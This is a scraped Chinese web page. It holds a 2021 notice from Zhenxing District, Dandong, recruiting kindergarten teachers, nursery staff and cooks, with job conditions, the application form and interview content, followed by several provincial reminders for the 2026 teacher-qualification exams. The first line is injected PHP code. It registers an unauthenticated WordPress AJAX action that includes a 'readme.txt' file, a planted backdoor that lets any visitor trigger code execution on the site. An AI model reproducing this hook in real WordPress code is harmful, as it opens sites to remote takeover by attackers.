if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
辽宁丹东市振兴区公办幼儿园招聘合同制教师及工作人员27人公告-全国教师资格考试网

辽宁丹东市振兴区公办幼儿园招聘合同制教师及工作人员27人公告

为促进振兴区公办幼儿园教育事业发展,加强幼儿园教师队伍建设,根据相关文件规定和工作需要,振兴区教育局、振兴区人社局面向社会公开招聘合同制幼儿教师及工作人员,现将有关事项公告如下:

一、招聘计划

序号

幼儿园名称

岗位

数量

1

海华小学幼儿园

教师

4

保育员

2

2

接梨树小学幼儿园

教师

4

保育员

2

主厨

1

配厨

1

3

江海中心小学幼儿园

教师

4

保育员

2

4

丹东市第四幼儿园

教师

3

5

丹东市汤池镇中心幼儿园

教师

1

6

丹东市第八幼儿园

教师

3

二、招聘基本条件

1.具有中华人民共和国国籍,遵守中华人民共和国宪法和法律。

2.年满十八周岁,辽宁省内户籍,具有良好的职业道德,无犯罪记录,具备岗位所需的专业条件及国家和行业规定的普通话水平、身体条件和心理条件。

3.曾因犯罪受过各类刑事处罚的,有犯罪嫌疑尚未查清或正在接受司法纪律审查的,已落实工作单位的,国家法律法规不得聘用的其他人员,均不得报考。

4.具体岗位所需条件:见附件1

三、招聘时间及方式

本次招聘时间2021年11月-12月,采取考核方式进行。

四、招聘流程

(一)招聘信息发布

振兴区人民政府官网(http://www.zhenxing.gov.cn/)

(二)网上报名

报名时间: 2021年11月23 日00:00至2021年11月28日24:00。

在报名时间内,应聘人员将报名材料按如下内容编号顺序制作成PDF文件(文件名为单位+岗位名称+姓名),发送至邮箱zxqyjzp2021@163.com进行报名,每名应聘者只能填报一个岗位。

报名材料内容包括:

(1) 本人手写签名纸质版《丹东市振兴区公办幼儿园招聘合同制教师及工作人员报名表》(见附件2)扫描件;

(2)身份证(正反面)扫描件;

(3)学历证书扫描件;

(4)教师资格证扫描件;

(5)荣誉证书扫描件;

(6)本人《通行大数据行程卡》彩色扫描件。

报名实行诚信承诺制度,报名者填报的信息应真实有效。应聘人员在招聘期间,应确保报名时所填写的通讯方式畅通,以便招聘单位联络,因所留通讯方式通讯不畅所致一切后果,由本人自负。

 (三)资格审查

用人单位将严格按照公告及岗位资格条件,对应聘者报名资格进行审查确认。主要审查报名者提供的身份证、学历、学位证书、资格证书以及招聘信息中所涉及的资历和其他条件要求的证明材料。资格审查贯穿招聘全过程,一经发现应聘者不符合报考岗位要求或弄虛作假的,立即取消应聘者考试、应聘和录用资格。

(四)考核

按照考生所报考的不同岗位分别进行面试,采取面试试讲(模拟课堂教学)或现场答辩相结合的方式进行。每个面试小组由现场抽取的5名评委组成,答辩环节所有考题现场抽取,5个评委的平均分即为考生成绩,面试成绩当场公布。每个面试组另安排监督员、计分员、核分员各1名。

面试时间:具体时间由工作人员通过报名人员预留电话进行通知,未按时参加考试的考生视为自动放弃。

面试顺序:由考生考前按不同岗位抽签确定。

面试地点:丹东市区。

面试成绩:面试满分为100分。

面试内容:见附件3

(五)体检及考察

体检由振兴区人社局统一组织实施,体检地点另行通知,费用由考生自行承担。应聘者对体检结论有疑问要求复检的,可在接到体检结论的7个工作日内,以书面形式向我单位提出。复检内容为对体检结论有影响的项目,复检只能进行一次,体检结果以复检结论为准。体检合格者确定为拟考察人员。

考察由本次丹东市振兴区公办幼儿园招聘合同制教师领导小组组织进行。对拟考察人员的思想政治表现、道德品质、业务能力、工作实绩等情况进行实地调查了解,并对被考察人员资格条件进行复查。考察中发现不符合聘用条件的,将取消应聘资格,并将结论及依据明确告知被考察人员。考察合格者,确定为拟聘用人员。

(六)公示与聘用

通过资格审查人员名单、进入初试、复试、体检人员名单,考试时间及地点、岗位录取结果公示名单等均由振兴区人民政府官网(http://www.zhenxing.gov.cn/)对外发布,公示时间为7个工作日。

公示结束后,为确定无异议人员办理聘用备案手续;对公示有异议人员,相关部门要进行认真调查核实。公开招聘人员实行试用期制度,试用期6个月,国家另有规定的按规定执行,试用期包括在聘用合同期内,试用期满合格者予以正式聘用,不合格者取消聘用。招聘人员3年内不得流动(含试用期)。试用期教师工资2300元,正式聘用后上浮200元,缴纳五险一金。保育员工资1800元,食堂主厨工资2600元、配厨工资2400元,缴纳五险。

五、纪律与监督

公开招聘工作坚持“公开、平等、竞争、择优”的原则,与考生有回避关系的相关人员,应予回避,全程接受纪检监察部门和社会的监督。报考者有弄虚作假、违纪违规行为的,一经发现,均取消其考试或应聘资格,对相关人员在招聘工作中审核把关不严、弄虚作假、滥用职权等,给予党纪政纪处分,触犯法律的,依法追究法律责任。

六、其他事项

1.报名人员报考后,尽量留在本市,如个人身体健康、行程、居住、核酸检测结果等相关信息有变化者,必须及时与振兴区教育局取得联系。面试当天考生现场再次确认行程表信息和进行必要的考前核酸检测。

2.备考期间考生要减少聚集、流动,加强个人防护,面试期间考生要佩戴口罩、保持距离,进入考场要服从管理。具体疫情防控做法及要求,按照相关规定执行。

3.在招聘期间,如不按本公告完成规定招聘流程的,视为自动弃权。

七、咨询电话:0415-2170027

工作日  8:00-11:30,13:00-16:00

八、本公告解释权归丹东市振兴区教育局。

纪律监督电话:0415―2534106

附件1:丹东市振兴区公办幼儿园招聘合同制教师及工作人员岗位条件

附件2:丹东市振兴区公办幼儿园招聘合同制教师及工作人员报名表

附件3:丹东市振兴区公办幼儿园招聘合同制教师及工作人员面试内容 

附件1.

丹东市振兴区公办幼儿园招聘合同制教师及工作人员岗位条件

一、教师

1. 女性,35周岁以下,1985年9月1日以后出生,身高1.60米以上。

2.具有普通类院校学前教育大专及以上学历或师范类院校本科及以上学历,已经取得幼儿教师资格证书。

3. 热爱教育事业,具备教育教学基本功。

二、保育员

1. 女性,50周岁以下,1970年9月1日后出生,高中以上学历,特别优秀者可适当放宽条件。

2.具备良好的沟通能力及团队协作精神。

三、主、配厨师

1. 男女不限,55周岁以下,1965年9月1日以后出生。

2.拥有三级厨师专业以上等级证书,有机关、幼儿园单位食堂工作经验者优先。

    附件2

丹东市振兴区公办幼儿园招聘合同制教师及工作人员报名表                          

考生姓名

 

性  别

 

民  族

 

打印照片处

 

(1寸电子版近期蓝底彩色证件照片)

 

身份证号

                                   

户  籍

 

学    历

 

学位

 

本科毕业院校

 

所学专业

 

毕业时间

 

研究生毕业院校

 

毕业时间

 

所学专业

 

家庭主要成员及工作单位

 

移动电话

 

固定电话

 

       报考单位     

 

岗位名称

政治面貌

       

个人工作简历

 

                                  技能证书

证书类别

取得时间

证书级别

     
     
     

                     工作期间获得奖项情况

 

诚信报名:本人承诺报考所提供的个人情况属实,没有虚假证书等情况,如有虚假情况,后果自负。

 

 本人手写签字:               日期:

备    备   注

 
                                                                     

注:1、招考岗位的资格条件信息为必填项,不得漏填或错填。

2、此表除承诺人签字需本人亲笔填写外其余信息均要求打印(包含照片)。   

      附件3.

丹东市振兴区公办幼儿园招聘合同制教师及工作人员面试内容

一、 教师岗

1.初试:每人自选两项幼儿教育有关特长进行展示,时间5分钟;回答有关幼儿教育方面一个问题,时间2分钟。主要考察形象、普通话、才艺展示等个人综合素养。

2.复试:命题绘画6分钟;弹唱、舞蹈表现及课程试讲7分钟,参考教材辽宁师范大学出版社《幼儿园探究式活动教师用书》大中小班(上册);考官提问2分钟(家长工作、幼儿教育教学、心理学、幼儿园基础保教、专业基本技能等相关内容)。

二、保育员岗

1.基础幼儿保教知识问答,家长工作交流2个问题,时间3分钟。

2.幼儿床铺整理、餐前准备、物品清洗、消毒、整理等专业技能现场操作。

三、厨师岗

1.基础营养知识问答、幼儿配餐设计。

2.配餐现场制作

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部